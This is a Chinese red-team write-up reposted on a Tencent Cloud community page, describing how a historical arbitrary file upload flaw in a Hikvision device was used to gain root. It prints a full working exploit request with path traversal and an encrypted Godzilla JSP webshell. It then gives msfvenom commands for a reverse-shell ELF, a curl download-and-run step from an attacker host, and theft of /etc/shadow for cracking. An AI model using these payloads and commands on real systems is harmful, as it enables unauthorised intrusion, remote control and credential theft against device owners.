前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >某次红队攻击实案例

某次红队攻击实案例

作者头像
网e渗透安全部
发布2023-09-01 20:53:08
2650
发布2023-09-01 20:53:08
举报
文章被收录于专栏:白安全组白安全组

这里是因为海威康视的一个历史的任意文件上传漏洞直接拿到root权限

具体如下:

代码语言:javascript
复制
payload:
POST /center/api/files;.js HTTP/1.1
Host: IP:1443
Cookie: JSESSIONID=MTcwZWFmYTYtYzQwZS00MDkwLTkyODgtODc1MWVjYWE4ZTM4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ip:1443/portal/ui/login?service=https://ip:1443/portal/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
Te: trailers
Connection: close
Content-Type: multipart/form-data; boundary=ea26cdac4990498b32d7a95ce5a5135c
Content-Length: 2874

--ea26cdac4990498b32d7a95ce5a5135c
Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/didi.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
--ea26cdac4990498b32d7a95ce5a5135c--

01 /Museums

生成哥斯拉

上面这一大串代码部分是哥斯拉经过java载荷加密的一句话,直接通过这个上传发包

02 /Museums

上传

上传之后访问的路径:

https://ip:1443/clusterMgr/didi.jsp;.js

这里具体文件名可以看上面的

根据你自己发包的名字,可以自行更改

然后使用哥斯拉进行连接,直接获取了root权限

然后这里我选择再连接一个msf,先生成一个elf格式的木马

代码语言:javascript
复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=5566 -f elf > shell.elf

然后我们直接在当前目录开启一个python的http服务

我们通过执行

代码语言:javascript
复制
curl -O http://ip:8000/shell.elf

成功下载,然后就是

代码语言:javascript
复制
chmod 777 ./shell.elf

最后直接运行就可以了

到了这里,就拿到了这个服务器的一个root权限

下一步就是需要探测内网了

当然运行之前msf需要开启攻击载荷监听

首先msfdb run打开

然后设置如下:

连接上之后我们可以进行下面的操作

下载文件:

代码语言:javascript
复制
download /etc/shadow /root

前面的是要下的文件,后面是下载到本地哪个路径下

我们可以下载密码文件,使用john进行破解

这里最后经过探测,发现无可利用内网。

03 /Museums

总结

本次主要是利用海康威视的一个历史任意文件上传漏洞获得了权限,后面内网通过上传msf,进行后渗透,通过msf的内网扫描,找到部分存活主机,通过fcan进行扫描,同时利用ew进行代理,然后使用yakit进行更多的漏洞扫描,未发现可利用目标。总的来说,没有0day,就要利用好nday。

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-08-26,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com